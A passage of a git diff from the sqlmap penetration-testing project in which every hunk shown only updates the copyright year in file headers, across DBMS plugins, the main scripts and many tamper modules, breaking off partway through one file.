a/plugins/dbms/virtuoso/__init__.py +++ b/plugins/dbms/virtuoso/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/connector.py b/plugins/dbms/virtuoso/connector.py index abc19bac4..60cd174f6 100644 --- a/plugins/dbms/virtuoso/connector.py +++ b/plugins/dbms/virtuoso/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py index 0b5eca36d..a0434fa0d 100644 --- a/plugins/dbms/virtuoso/enumeration.py +++ b/plugins/dbms/virtuoso/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/filesystem.py b/plugins/dbms/virtuoso/filesystem.py index b1b0e890b..f4ef54e91 100644 --- a/plugins/dbms/virtuoso/filesystem.py +++ b/plugins/dbms/virtuoso/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py index e62c26b7c..0ed0bd5dd 100644 --- a/plugins/dbms/virtuoso/fingerprint.py +++ b/plugins/dbms/virtuoso/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/syntax.py b/plugins/dbms/virtuoso/syntax.py index 51d87d212..b6b6c633d 100644 --- a/plugins/dbms/virtuoso/syntax.py +++ b/plugins/dbms/virtuoso/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/virtuoso/takeover.py b/plugins/dbms/virtuoso/takeover.py index a82ef9645..6acd165a9 100644 --- a/plugins/dbms/virtuoso/takeover.py +++ b/plugins/dbms/virtuoso/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 0375ca428..2512c7f14 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 3002c0da1..fab62615b 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 32cfe28f0..b69c9f67e 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 365fad204..a8e0bce7a 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 95bdbfb71..f09876f1e 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 2c073c78e..4c046f645 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 0ac3e2b0f..0bdcb35c1 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index f3459c8c9..f061d5851 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 12195a161..bb670b718 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 9d1da3e20..146a71324 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index edb067a3b..429653b00 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 0b658f2b0..ddef85a2a 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/sqlmap.py b/sqlmap.py index 93bc145aa..33a0cae0e 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/sqlmapapi.py b/sqlmapapi.py index 35a1f3edc..2bcb2a2bb 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/0eunion.py b/tamper/0eunion.py index 1a84ac380..84587ee4d 100644 --- a/tamper/0eunion.py +++ b/tamper/0eunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/__init__.py b/tamper/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 26b7c5233..67b38d31c 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index d65fcda5e..c9334100e 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 46e8ed626..7c5658597 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/base64encode.py b/tamper/base64encode.py index 070442c7e..d813876d1 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/between.py b/tamper/between.py index 5f4405757..d101f210e 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/binary.py b/tamper/binary.py index 82ca49b3d..24bdcbca1 100644 --- a/tamper/binary.py +++ b/tamper/binary.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 3363226eb..8804a3a9b 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index f14e6558a..bb0c4ca17 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charencode.py b/tamper/charencode.py index 9c2bd1b61..f676cab8b 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 1005ca739..fd0427f0c 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index 136a2a5de..cec28fb8d 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 99464794f..18443bb88 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index 3764bc6e5..6e652778e 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index dd330250a..fa2b3d8a4 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index ce269f513..8a4362cdd 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/decentities.py b/tamper/decentities.py index 4dfb058da..187e352ae 100644 --- a/tamper/decentities.py +++ b/tamper/decentities.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/dunion.py b/tamper/dunion.py index 2beeeb974..f4b5cceb2 100644 --- a/tamper/dunion.py +++ b/tamper/dunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index 70cdfb2f5..c86d1d48c 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py index d8e160106..67dfdf749 100644 --- a/tamper/equaltorlike.py +++ b/tamper/equaltorlike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index a41a7b496..85531ea67 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/greatest.py b/tamper/greatest.py index 92ca931b6..091e722d5 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index acfc4d2ff..e43870f5a 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hex2char.py b/tamper/hex2char.py index 4fb1408ed..996265384 100644 --- a/tamper/hex2char.py +++ b/tamper/hex2char.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hexentities.py b/tamper/hexentities.py index 0bce83bc0..e60ed8df9 100644 --- a/tamper/hexentities.py +++ b/tamper/hexentities.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index b9a772511..0fcdef0c6 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index ab1d8a074..e8b5de7d3 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index d8aa5451c..6fac2758f 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index a2ef93621..8272ec280 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/least.py b/tamper/least.py index cab908790..d59f1a458 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/lowercase.py b/tamper/lowercase.py index efaf360bb..9d49eb3e4 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginx.py b/tamper/luanginx.py index dec6d623c..b302e71d6 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/misunion.py b/tamper/misunion.py index 9737f04ea..9f1c5d957 100644 --- a/tamper/misunion.py +++ b/tamper/misunion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 3453c7e1a..25c66f0bc 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index 590404908..0d3ca440e 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index 76122e767..b3cd78c06 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py index 3f6c2a57b..b7b0676b4 100644 --- a/tamper/ord2ascii.py +++ b/tamper/ord2ascii.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index 31e31cf1f..ba8de68b5 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index a0013c71a..343312e0b 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/percentage.py b/tamper/percentage.py index edce9d630..e65dc9573 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index 13ac64e16..b7f862aa9 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index 6a50132af..39cd9ed25 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index ce614e474..b2737445e 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 59d79819e..a6d378f21 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py index a4f0ca2ad..c05b45ad0 100644 --- a/tamper/schemasplit.py +++ b/tamper/schemasplit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/scientific.py b/tamper/scientific.py index 28f94a825..95f401581 100644 --- a/tamper/scientific.py +++ b/tamper/scientific.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py index f249c9eac..5fb1cd01a 100644 --- a/tamper/sleep2getlock.py +++ b/tamper/sleep2getlock.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sp_password.py b/tamper/sp_password.py index 9169cd593..a693712c6 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 35c4bbad6..59689836a 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 6079a3312..b23000831 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 797fde116..9cc185546 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index 67d318df2..bd29e1d6f 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index a5a7ee447..77ff792c9 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ 